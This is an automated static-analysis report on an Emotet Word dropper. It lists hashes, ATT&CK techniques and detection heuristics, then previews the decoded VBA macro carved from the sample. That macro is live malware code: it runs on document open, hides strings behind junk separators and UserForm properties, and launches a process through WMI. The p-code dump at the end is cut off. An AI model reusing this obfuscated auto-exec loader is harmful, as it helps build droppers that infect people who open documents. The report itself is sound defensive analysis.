Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 9b139e8d9d4ee3ee…

MALICIOUS

Office (OLE)

178.3 KB Created: 2020-07-21 08:21:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 58f967d78c1151b2d2af07b5a6389d0d SHA-1: 9cc8d29d0ad604e4bb27cbf43c414bc8849b0310 SHA-256: 9b139e8d9d4ee3eed55ec22fd477e7114550b8efa884f1f2e8c0fca6d3df53f7
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample contains a VBA macro that executes upon opening the document, as indicated by the 'Document_Open' macro and 'OLE_VBA_DOCOPEN' heuristic. The macro utilizes 'CreateObject' and appears to be a command stager, likely responsible for downloading and executing a second-stage payload. ClamAV detection further confirms its malicious nature as Emotet.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9939 bytes
SHA-256: 1172681954b114f50331a7ca2ade7d3ae4799307268a860c8e8165c66c2ce5aa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "cowbaoszojgeaz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
woxpaoqumiotgum
End Sub


Attribute VB_Name = "cehboiwfiequsautwaubsoof"
Attribute VB_Base = "0{51F2C3E8-A4ED-4812-9757-0047ADD5E899}{260A8A3E-411E-41D6-8546-8C993E266B91}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "puutpoawthaemfeathraodwoaqu"
Function woxpaoqumiotgum()
koehjoizfoquyoupfan = Chr(cehboiwfiequsautwaubsoof.Zoom + 2 + 2 + 2 + 6 + 3)
Dim FCcbSfXm As Date
nuuchmavpaechpiagjaeydaoz = "$12387ghbqhjwg2781vbjkKKb2winm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2gm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2t" + koehjoizfoquyoupfan + "$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2:wi$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2n32_$12387ghbqhjwg2781vbjkKKb2" + cehboiwfiequsautwaubsoof.tiefraudzujyoencheun + "roc$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2es$12387ghbqhjwg2781vbjkKKb2s"
Dim cgaNo As String
cgaNo = Replace$("l6ÆmYk0ÓFMeBnqVGS6ÒGNt", "l6ÆmYk0ÓFMeB", "sw7ÑQNomd")
queatthauv = hourheadxiyveapfeeg(nuuchmavpaechpiagjaeydaoz)
Dim qVcuRkJreP As Object
Set hemloivgiadfuat = CreateObject(queatthauv)
Dim lWiD As Byte
nuagzoavyoolkiequfascaum = cehboiwfiequsautwaubsoof.dedgoirjeeg.ControlTipText
Dim OTA4Ït1ÚFEt As Integer
OTA4Ït1ÚFEt = 4
Do While OTA4Ït1ÚFEt < 4 + 9
OTA4Ït1ÚFEt = OTA4Ït1ÚFEt + 2: DoEvents
Loop
deumweavnieyxiothsoal = queatthauv + koehjoizfoquyoupfan + cehboiwfiequsautwaubsoof.buy.ControlTipText + nuagzoavyoolkiequfascaum
Dim kfTvg As Boolean
huulquaermoirthoepmiodxob = deumweavnieyxiothsoal + cehboiwfiequsautwaubsoof.tiefraudzujyoencheun
Dim ZIh As String
ZIh = Replace$("LUXCnATOCMj3ÚK8âgVUKK", "LUXCnATOC", "hnikNj")
Set diervaiwbeiququoinmeotjuud = diatzaethdoijlaith(huulquaermoirthoepmiodxob)
Dim kEFMeB As String
kEFMeB = Replace$("oBUVcu3ÜfYMZu", "oBU", "Css")
Dim SpYwyWVL As Boolean
R = Array(N, hemloivgiadfuat. _
Create(lauzthiammekfeechgidcoj, choipkutvuuvweef, diervaiwbeiququoinmeotjuud))
Dim BZIhfU As Boolean
End Function
Function diatzaethdoijlaith(zeidzonyookseachvaopber)
Set diatzaethdoijlaith = CreateObject(zeidzonyookseachvaopber)
diatzaethdoijlaith _
. _
showwindow = (suahnoehweif + voipdenpaeb) + (thaixdoasmeaptelteivkeuj + suagyeaz)
Dim WaT1Ä As Integer
WaT1Ä = 7
Do While WaT1Ä < 7 + 8
WaT1Ä = WaT1Ä + 1: DoEvents
Loop
End Function
Function hourheadxiyveapfeeg(rib)
chuahravfeakbampaobgeow = rib
Dim CgR As String
CgR = Replace$("ahwG4ÏbmiIGgfVVa", "ahwG4Ï", "facqb")
miehxoiqu = Split(chuahravfeakbampaobgeow, "$12387ghbqhjwg2781vbjkKKb2")
Dim kX6Å6ÊSv6Û7ÊI As String
kX6Å6ÊSv6Û7ÊI = Replace$("Wo2áZSYIvyl6Ëc8", "Wo2áZS", "eIroHmnBW")
theustoeh = posx + Join(miehxoiqu, posx)
Dim mnsIBRYFOu As String
mnsIBRYFOu = Replace$("V4ÜYNMoDtJHyYIF", "V4ÜYNMoDtJ", "U3ÑRm")
hourheadxiyveapfeeg = theustoeh
Dim JKR As String
JKR = Replace$("dGcnGlYoQP1ÈjJPKM", "dGcnGlY", "WfNkTHqfe")
End Function
Function lauzthiammekfeechgidcoj()
io = cehboiwfiequsautwaubsoof.ceechkuudkaehlawnaswah.Pages(1).ControlTipText
Dim EJCoQlgkOA As Integer
EJCoQlgkOA = 5
Do While EJCoQlgkOA < 5 + 3
EJCoQlgkOA = EJCoQlgkOA + 6: DoEvents
Loop
lauzthiammekfeechgidcoj = hourheadxiyveapfeeg(io)
End Function


' Processing file: /opt/analyzer/scan_staging/2cb19a38a2994f47b0346f15c39a1d20.bin
' ===============================================================================
' Module streams:
' Macros/VBA/cowbaoszojgeaz - 1367 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub cowbaoszojgeaz())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Macros/VBA/cehboiwfiequsautwaubsoof - 1204 by
... (truncated)